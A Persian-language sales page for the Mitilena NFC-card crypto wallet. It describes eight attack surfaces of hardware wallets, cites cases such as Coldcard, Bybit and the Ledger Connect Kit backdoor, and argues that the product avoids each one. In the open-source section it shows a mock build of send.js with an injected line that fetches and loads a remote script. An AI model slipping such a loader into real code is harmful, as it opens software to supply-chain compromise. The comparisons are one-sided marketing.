۸ شکاف کد باز چک‌لیست پرسش‌ها
Mitilena Mitilena Wallet Cold crypto wallet
ONLINE · 22,000+ COINS ساخت کیف پولساخت
کیف پول‌های سخت‌افزاری · شکاف‌های ناآشکار

شکاف‌های ناآشکار کیف پول سخت‌افزاری

دستگاهی می‌خرید تا سوراخ‌ها را ببندید. همراهش سوراخ‌های تازه می‌آید: فریمور، به‌روزرسانی‌ها، سرویس روی رایانه، صفحه، جعبه، حساب نزد فروشنده. هشت جزئیاتی که در بررسی‌ها به‌عنوان مزیت ثبت می‌شوند — و هشت راهی که از ۲۰۲۰ تا ۲۰۲۶ از طریق‌شان پول بردند.

موارد واقعی با تاریخ و مبلغ بر اساس مستندات سازندگان کیت خودمان را با همان فهرست می‌سنجیم
قیمت اشتباهموارد عمومی
2026Coldcard · تصادفی ضعیف در فریمور$100M+
2025Bybit · امضاکنندگان چیزی را امضا کردند که ندیدند$1.5B
2024Dark Skippy · بذر از دو امضا نشت می‌کندپژوهش
2023Ledger Connect Kit · بک‌دور در کتابخانه$600K
2021اپ جعلی کیف پول در App Store17,1 BTC
2020نشت پایگاه مشتریان Ledger · فیشینگ سال‌ها۲۷۰٬۰۰۰ نفر
هشت شکاف

هر جزئیاتی که در بررسی‌ها ستایش می‌شود یک سوراخ جداست

کیف پول سخت‌افزاری یک سوراخ را می‌بندد: کلید دیگر روی گوشی متصل به اینترنت نیست. اما دستگاه خالی نیست. فریمور دارد، به‌روزرسانی، برنامهٔ رایا��ه، صفحه، جعبه، فروشنده‌ای که آدرستان را می‌داند — و هر جزئیات سطح حمله‌ای اضافه می‌کند که قبلاً نداشتید. پایین هشت جزئیات از این دست: بررسی‌ها چه می‌گویند، چگونه از طریق‌شان پول بردند، چگونه شکاف را ببندید، و آیا این جزئیات در کیت ما هست.

شکاف ۰۱

فریموری که کلیدتان را می‌سازد

در بررسی‌ها: «تراشهٔ امن — کلید داخل دستگاه ساخته می‌شود و هرگز خارج نمی‌شود»

کلید یک عدد تصادفی عظیم است و فریمور آن را می‌سازد. یک خطا آنجا — و کلیدها خیلی کمتر از آن‌اند که فکر می‌کنید: بدون دسترسی به دستگاه، سال‌ها بعد از خرید، نزد همهٔ دارندگان یک‌جا brute-force می‌شوند. تراشه بی‌تقصیر است؛ سوراخ بالای آن است.

مورد
$100M+
Coldcard، ژوئیهٔ ۲۰۲۶: خطای بیلد فریمور از ۲۰۲۱ بی‌صدا مولد تصادفی سخت‌افزاری را با مولد ضعیفی که از شمارهٔ سریال و تایمر بذر می‌گرفت عوض کرد. استحکام کلیدها به حدود ۴۰ بیت افتاد؛ بیش از ۵٬۰۰۰ آدرس خالی شد.
چگونه شکاف را ببندید
آیا می‌توانید تصادفی خودتان را بیاورید: تاس، عبارت خودتان. کیف پولی که آنتروپی را از شما بپذیرد به یک خطای فریمور وابسته نیست.
این جزئیات نزد ما نیست
روی کارت فریمور نیست — حامل رمزشده است. Mitilena Air کلید را از مولد تصادفی سیستم دستگاه می‌سازد و می‌توانید به‌جای واژه‌های تصادفی، عبارت بذر خودتان را بگذارید.
شکاف ۰۲

به‌روزرسانی‌هایی که مجبورید نصب کنید

در بررسی‌ها: «سازنده مرتب به‌روزرسانی امنیتی منتشر می‌کند»

هر به‌روزرسانی لحظه‌ای است که می‌توان فریمور را عوض کرد. فریمور دستکاری‌شده تکه‌های بذر را در دو–سه امضای معمولی پنهان می‌کند و از بیرون دستگاه عادی به‌نظر می‌رسد. به‌روزرسانی نکردن هم گزینه‌ای نیست: سوراخ‌ها را همان به‌روزرسانی‌ها می‌بندند.

مورد
۲ امضا
Dark Skippy، اوت ۲۰۲۴: پژوهشگران نشان دادند فریمور مخرب کیف پول سخت‌افزاری می‌تواند کل بذر را از دو تراکنش بیرون ببرد. یک به‌روزرسانی از جای اشتباه کافی است.
چگونه شکاف را ببندید
فریمور از کجا می‌آید و آیا دستگاه امضایش را چک می‌کند. بهترین حالت این است که اصلاً چیزی برای به‌روزرسانی نباشد.
این جزئیات نزد ما نیست
روی کارت چیزی برای به‌روزرسانی یا تعویض نیست. امضا در اپ گوشی است؛ بیلدهایش امضا شده‌اند و از App Store و Google Play می‌آیند — مثل هر اپی که خودتان می‌بینید و می‌بندید.
شکاف ۰۳ · پوچی را حس کنید
در بررسی‌ها: «اپ دسکتاپ راحت شرکت»

کیف پول برای بی‌اعتمادی که به آن سرویس پس‌زمینه ضمیمه می‌شود

دستگاه را برای یک چیز می‌خرید: دیگر به رایانه اعتماد نکنید. تا کار کند باید روی همان رایانه یک سرویس پس‌زمینه نصب کنید. ننوشته‌ایدش، اجرا نکرده‌ایدش، کنترلش نمی‌کنید: با سیستم بالا می‌آید، روی پورتی گوش می‌دهد که هر برنامه‌ای روی ماشینتان می‌تواند بزند، و همین حالا کاری می‌کند — دقیقاً چه، نمی‌دانید و هرگز چک نخواهید کرد.

بعد از بستن کیف پول هم در پس‌زمینه می‌ماند. سال‌ها. نزد یکی از بزرگ‌ترین سازندگان سرویس «پل» جدا بود؛ در ۲۰۲۵ آن را داخل خود اپ پنهان کردند — سرویس سر جایش است، فقط با پنجره می‌میرد. نزد بیشتر دیگران بدون برنامهٔ رایانه دستگاه جاکلیدی است. روی لینوکس قوانین udev اضافه کنید وگرنه سیستم USB را نمی‌دهد.

پس چیزی که خریدید تا به برنامه‌های رایانه وابسته نباشید، بدون برنامهٔ رایانه کار نمی‌کند. و نه آن‌که می‌بینید — بلکه آن‌که زیرش می‌چرخد.

این جزئیات نزد ما نیست
روی رایانه چیزی نصب نمی‌شود: نه سرویس، نه درایور، نه پورت. واسط همان تراشهٔ NFC است که از قبل در گوشی‌تان هست، ساختهٔ سازنده‌اش و زیر کنترل سیستم‌عامل: فقط وقتی اپ باز است و خودتان کارت را نزدیک می‌کنید کار می‌کند و گوشی هر بار اجازه می‌پرسد. کارت غیرفعال است: بدون باتری و رادیو، خودش کاری نمی‌کند. اپ را بستید — چیزی نمی‌ماند که بدون شما کار کند. صادقانه: اپ گوشی لازم است و مثل هر اپ دیگر است — می‌بینید، اجرا می‌کنید، می‌بندید. کسی در اتاق خدمات زندگی نمی‌کند.
ما��یتور سیستمکیف پول بسته
فرآیندوضعیتاجرا
HW Wallet Appwallet
شما بستید-
hwwalletdسرویس پس‌زمینه · پل USB
فعال412d 06:14
سیستم هنگام ورود اجرا کردنمی‌توان بست — سرویس است
ماکت؛ نام‌ها توضیحی‌اند. رایانه با یکی از محبوب‌ترین کیف پول‌های USB پیش از ۲۰۲۵ این‌طور بود؛ بعد «پل» را داخل خود اپ ساختند — همان سرویس، فقط دیگر در فهرست دیده نمی‌شود.
تمثیل
خانه برای حریم خصوصی — و مستأجر در اتاق خدمات

خانه‌ای برای حریم خصوصی می‌خواستید. خریدید. بعد امنیت لازم شد — نصب کردید. و برای کار کردن تعرفهٔ امنیت خواستند آدمی با یونیفرم را به خانه راه دهید که شبانه‌روز در اتاق خدماتتان زندگی کند، کلید همهٔ درها را داشته باشد و به کس دیگری گزارش دهد. استخدامش نکرده‌اید، اخراجش نمی‌توانید، و شب‌ها چه می‌کند — نمی‌دانید.

البته «خودی» است. در قرارداد نوشته. حریم خصوصی می‌خواستید و بدل جعلی گرفتید: خانه‌ای با مستأجری که انتخاب نکرده‌اید.

شکاف ۰۴ · کد باز ممیزی نیست
در بررسی‌ها: «کد باز — هرکس می‌تواند بررسی کند»

کد باز روش کار مشترک برنامه‌نویس‌هاست، نه نشانه‌ای که برنامه نمی‌دزدد

کد باز اختراع شد تا برنامه‌ها را با هم به اشتراک بگذارند و با هم تعمیر کنند. به‌عنوان ابزار همکاری عالی است. هرگز مهر کیفیت «این نرم‌افزار پولتان را نمی‌دزدد» نبوده، و دلیلش این است: شما از سورس استفاده نمی‌کنید. از چیزی استفاده می‌کنید که دانلود کرده‌اید.

بین ریپوی GitHub و فایل روی گوشی‌تان بیلد، فروشگاه اپ، به‌روزرسانی و سرور ایستاده‌اند. در هر کدام از این گام‌ها می‌تواند یک خط وارد شود که هر چیزی را از هر جایی بکشد — و در ریپو نباشد. نسخهٔ خودتان را با سورس مقایسه نمی‌توانید: فروشگاه‌ها فایل کامپایل‌شده می‌دهند؛ کیف پول وب هر بار کدی را می‌گیرد که سرور امروز برای شما فرستاده؛ افزونهٔ مرورگر شب‌ها بی‌صدا به‌روز می‌شو��.

«باز» یعنی بعضی‌ها می‌توانند روزی نسخه‌ای را چک کنند. آنچه نسخهٔ شما همین حالا می‌کند — این را نمی‌گوید.

در ریپو · github.com/…/wallet/send.js
// send.js
import { sign } from './crypto'
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
روی گوشی شما · app-2.4.21.min.js
// send.js — build
import { sign } from './crypto'
;(async () => {
var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
یک خط در بیلد. در ریپو نیست، در فروشگاه دیده نمی‌شود، روی دستگاهتان کار می‌کند.
باز بودن هیچ‌کدام از این موارد را متوقف نکرد
Ledger Connect Kit2023
کتابخانهٔ باز روی GitHub؛ نسخهٔ مخرب روی npm منتشر شد؛ ده‌ها سایت ظرف چند ساعت زنده بارگذاری‌اش کردند
Copay / event-stream2018
کیف پول باز؛ بک‌دور از وابستگی‌ای آمد که دقیقاً آن را هدف گرفته بود
xz utils2024
بیست سال باز؛ بک‌دور در انتشارها نشسته بود تا مهندسی اتفاقی دید ورود SSH نیم‌ثانیه کندتر شده
Coldcard2026
فریمور متن‌باز؛ خطای بیلد پنج سال مولد سخت‌افزاری را با ضعیف عوض کرد — کلیدها بدون دسترسی به دستگاه شکسته شدند، بیش از ۵٬۰۰۰ آدرس، بیش از ۱۰۰ میلیون دلار
چه چیزی واقعاً کار می‌کند
نه خواندن کد دیگران — دو بررسی که هرکس می‌تواند اجرا کند. اول ممیزی رفتار: روی رایانهٔ خودتان پروکسی رهگیری بگذارید، اپ را از آن رد کنید و ببینید چه می‌فرستد و به کجا. نیازی به خواندن کد نیست — ترافیک کامل دیده می‌شود. دوم معماری‌ای که کد در آن چیزی برای دزدیدن ندارد: اگر کلید هرگز روی دستگاه متصل نباشد، هر خطی در هر به‌روزرسانی ناتوان است — چیزی برای فرستادن ندارد.
نزد ما چگونه است
اولی را خودمان پیشنهاد می‌کنیم: اپ ما را از پروکسی رد کنید، نسخهٔ وب را از DevTools مرورگر، و هر درخواست را ببینید. کلید امضا و بذر ظاهر نمی‌شوند؛ تنها استثنا کلید نمایش Monero است — در صفحهٔ «چگونه انتقال می‌رود» توضیح داده شده. دومی در کیت است: کلید در Mitilena Air روی دستگاه بدون اینترنت متولد می‌شود، روی کارت زندگی می‌کند و به اپ آنلاین فقط امضا می‌رسد — آنجا چیزی برای پروکسی نیست. و آفلاین اینجا واقعی است: در حالت air-gap دستگاه کلید به هیچ‌چیز وصل نیست — نه کابل نه Bluetooth؛ تراکنش با QR وارد و خارج می‌شود که با چشم می‌بینید. نه کیف پول «سرد» روی سیم آویزان به رایانهٔ آنلاین با سرویسی که خدا می‌داند چه رد و بدل می‌کند.
شکاف ۰۵

صفحه‌ای که نمی‌بینید چه امضا می‌کنید

در بررسی‌ها: «تأیید روی صفحهٔ دستگاه — ویروس روی رایانه ناتوان است»

صفحه کوچک است و اغلب به‌جای آدرس و مبلغ، هش یا «فراخوانی قرارداد» نشان می‌دهد. چیزی را تأیید می‌کنید که نمی‌بینید — و امضا با این حال صادق است، امضای شما. صفحه حس کنترلی می‌دهد که وجود ندارد.

مورد
$1.5B
Bybit، فوریهٔ ۲۰۲۵: امضاکنندگان با کیف پول سخت‌افزاری انتقالی را تأیید کردند که در رابط عادی به‌نظر می‌رسید. دستگاه‌ها داده‌هایی نشان دادند که انسان نمی‌توانست مطابقت دهد.
چگونه شکاف را ببندید
گیرنده، مبلغ و نوع عملیات به زبان انسان — نه هش — و رد با یک دکمه.
نزد ما چگونه است
صفحه هست، اما صفحهٔ گوشی: آدرس، مبلغ و نوع درخواست با واژه — انتقال، فراخوانی قرارداد، مجوز — و دکمهٔ «رد». برای مبالغ بزرگ — دستگاه جدا بدون شبکه که تراکنش کامل به آن می‌رسد.
شکاف ۰۶

جعبه‌ای که بذر از قبل داخلش است

در بررسی‌ها: «در جعبهٔ مهروموم با پلمب امنیتی می‌رسد»

دستگاه فیزیکی یعنی ارسال، واسطه و بازارهای «با تخفیف». کیف پول از قبل راه‌اندازی‌شده می‌رسد با بذر روی کاغذ داخلش. یا اپ بدل در فروشگاه می‌خواهد «برای فعال‌سازی بذر را وارد کنید».

مورد
17,1 BTC
App Store، ۲۰۲۱: دارندهٔ کیف پول سخت‌افزاری بذر را در اپ بدل وارد کرد و ۱۷٫۱ BTC از دست داد. همان سال پس از نشت پایگاه، برای مشتریان Ledger دستگاه‌های جعلی با نامهٔ «بذر را به دستگاه جدید منتقل کنید» فرستادند.
چگونه شکاف را ببندید
خودتان راه‌اندازی کنید و هرگز از بذری که از قبل نوشته رسیده استفاده نکنید. پلمب تأیید نیست؛ تأیید این است که کلید را شما می‌سازید.
نزد ما چگونه است
کارت‌ها خالی می‌رسند: کلید را خودتان می‌سازید و می‌نویسید — بذر آماده در جعبه ممکن نیست. اپ فقط از App Store و Google Play با لینک‌های سایت؛ بذر را فقط هنگام واردات و امضا می‌پرسد.
شکاف ۰۷

حساب نزد فروشنده

در بررسی‌ها: «گارانتی رسمی، پشتیبانی و حساب شخصی»

برای خرید دستگاه به سازنده نام، ایمیل و آدرس ارسال می‌دهید. امنیتتان به پایگاه او وابسته شده. نشت کند — سال‌ها برایتان می‌نویسند «بذر را روی دستگاه جدید تأیید کنید»، گاهی با بسته.

مورد
۲۷۰٬۰۰۰ نفر
Ledger، ۲۰۲۰: دادهٔ ۲۷۰٬۰۰۰ خریدار از جمله آدرس پستی نشت کرد. نامه، تماس و بسته با درخواست «مهاجرت» بذر تا امروز ادامه دارد.
چگونه شکاف را ببندید
هرچه کمتر از شما بدانند بردار کوتاه‌تر است: خرید بدون حساب، پشتیبانی که هرگز بذر نمی‌پرسد، و قاعدهٔ «کسی که بذر بخواهد دزد است».
این جزئیات نزد ما نیست
کیف پول بدون ثبت‌نام کار می‌کند — حسابی نیست. فروشنده فقط آدرس ارسال را می‌داند. نه پشتیبانی و نه اپ بذر نمی‌پرسند.
شکاف ۰۸

یک دستگاه و یک کاغذ

در بررسی‌ها: «بدنهٔ محکم، صفحهٔ بزرگ، باتری برای یک هفته»

هرچه قطعات بیشتر، خرابی بیشتر: کانکتور، صفحه، باتری. بازیابی به یک کاغذ بذر آویزان است — خیس شد، در اسباب‌کشی گم شد، «برای احتیاط» عکس گرفته شد. شایع‌ترین دلیل از دست رفتن نفوذ نیست.

مورد
≈20 % BTC
برآورد Chainalysis: حدود یک‌پنجم همهٔ بیت‌کوین برای همیشه از دست رفته — بیشتر از کلیدهای گم‌شده، نه نفوذ.
چگونه شکاف را ببندید
چند نسخهٔ کلید در جعبه می‌آید و به چه شکل، اگر دستگاه گم شود چه می‌شود، و آیا چیزی در آن هست که خراب شود.
این جزئیات نزد ما نیست
نه صفحه، نه باتری، نه کانکتور — چیزی برای خراب شدن نیست. و نه یک نسخه: پنج نسخهٔ آینه در جعبه — دو کارت NFC و سه استیکر مخفی در پلاستیک ضدآب، عمر بیش از ۱۰ سال.
چک‌لیست

آنچه نباید در کیف پول باشد

هشت جزئیات برای هشت شکاف. فهرست برای هر کیف پول مناسب است — سخت‌افزاری، موبایل، مرورگر. علامت بزنید آنچه نزد انتخابی‌تان هست — و نزد ما هم.

01
کلیدی که فقط برنامه می‌سازدبدون تصادفی شما — عبارت یا تاس
02
به‌روزرسانی جایی که کلید زندگی می‌کندهر به‌روزرسانی شانس تعویض کد
03
سرویس، درایور یا پورت روی رایانهنگاه کنید به شکاف ۰۳
04
نشان «کد باز» به‌جای معماریکلید جایی است که کد بیگانه می‌رسد
05
صفحه‌ای که هش نشان می‌دهد نه آدرس و مبلغو بدون دکمهٔ رد
06
بذری که از قبل نوشته رسیدهدر جعبه، در نامه، در «اپ فعال‌سازی»
07
حساب نزد فروشندهو پشتیبانی که ممکن است بذر بپرسد
08
یک نسخه و قطعاتی که خراب می‌شوندصفحه، باتری، کانکتور، یک کاغذ
روی این فهرست، کیت Ultimate هیچ‌کدام از هشت جزئیات را ندارد. در جعبه: دو کارت NFC و سه استیکر مخفی، Mitilena Air (کلید بدون اینترنت) و Mitilena Keys (امضا بدون اینترنت). کارت‌ها خالی می‌رسند: کلید را شما می‌سازید و رمز می‌کنید — نه تراشهٔ کارخانه. محتوا و قیمت ←
Ultimate · کیت آفلاین

نه «تراشهٔ امن» کارخانه — حاملی که خودتان رمز می‌کنید

کارت‌ها خالی می‌رسند. کلید را در Mitilena Air روی گوشی بدون اینترنت می‌سازید و خودتان می‌نویسید. امضا از طریق Mitilena Keys، باز هم آفلاین: تراکنش با QR جابه‌جا می‌شود. پنج نسخهٔ یکسان در جعبه: دو کارت NFC و سه استیکر مخفی در پلاستیک ضدآب. ۱۸ شبکه، بیش از ۲۰٬۰۰۰ کوین، از جمله USDT.

روی رایانه چیزی نصب نمی‌شود
ن�� فریمور، نه به‌روزرسانی، نه صفحه، نه باتری
تراکنش به گوشی آفلاین — با صدا یا QR، بدون کابل و USB
با اپ رایگان Mitilena روی گوشی کار می‌کند
پلاستیک ضدآب، عمر بیش از ۱۰ سال
ارسال جهانی · mitilena-store.com
کارت NFC Mitilena
Ultimate · تولید و امضای آفلاین
€369€439
دو کارت NFC · ۳ استیکر مخفی · Mitilena Air · لایسنس Mitilena Keys
خرید Ultimate · €369 Basic و Premium — همهٔ طرح‌ها
پرسش‌های پرتکرار

بعد از خواندن تا اینجا مردم چه می‌پرسند

مزایا و معایب کیف پول سخت‌افزاری — کوتاه؟

یک مزیت بزرگ: کلید روی گوشی متصل به اینترنت نیست. معایب همان هشت جزئیات بالاست — هر کدام سطح حمله اضافه می‌کند. کیف پول سخت‌افزاری خوب آن است که جزئیات کمتری دارد، نه بیشتر.

اگر گوشی نفوذ شود چه؟

با کارت روی گوشی اصلی، کلید برای یک ثانیهٔ امضا در محیط ایزوله ظاهر می‌شود — همان خطر هر کیف پول موبایل، فقط کوتاه‌تر. برای مبالغی که می‌ترسانندتان — لایهٔ دوم: روی دستگاه جدا بدون شبکه امضا کنید که تراکنش با QR به آن می‌رسد.

اگر کارت دزدیده یا گم شود؟

بدون رمز عبور کارت و استیکر پلاستیک بی‌فایده‌اند — کلید روی‌شان رمز شده. نسخهٔ گم‌شده با چهار تای دیگر جبران می‌شود: دو کارت و سه استیکر از جعبه آینه‌اند.

آیا باید فریمور کیف پول سخت‌افزاری را به‌روز کرد؟

اگر شرکت سوراخی بسته — بله، و دقیقاً همان لحظه‌ای است که می‌توان فریمور را عوض کرد: منبع و امضا را چک کنید. حاملی بدون فریمور این انتخاب را ندارد — چیزی برای به‌روزرسانی یا تعویض نیست.

تفاوت با کیف پول USB چیست؟

واسطه‌های کمتر: نه کابل، نه درایور، نه سرویس پس‌زمینه، نه اپ دسکتاپ. یک واسط — تراشهٔ NFC در گوشی‌تان — و به شما و سیستم‌عامل جواب می‌دهد، نه به فروشندهٔ کیف پول.

آیا کد باز یعنی امنیت؟

یعنی روزی کسی می‌تواند نسخه‌ای را بررسی کند. شما از کد استفاده نمی‌کنید بلکه از آنچه دانلود کرده‌اید، و یکی را با دیگری مقایسه نمی‌توانید. امنیت از معماری‌ای می‌آید که کلید جایی نباشد که کد بیگانه برسد.

کارت‌های NFC با تولید و امضای آفلاین

۵ نسخهٔ کلید · Air · Keys · یا کیف پول رایگان در ۳۰ ثانیه · چرا کیف پول سخت‌افزاری «سرد» مبتنی بر تراشهٔ کارخانه اغلب جعلی است ←
خرید Ultimate · €369 ساخت کیف پول رایگان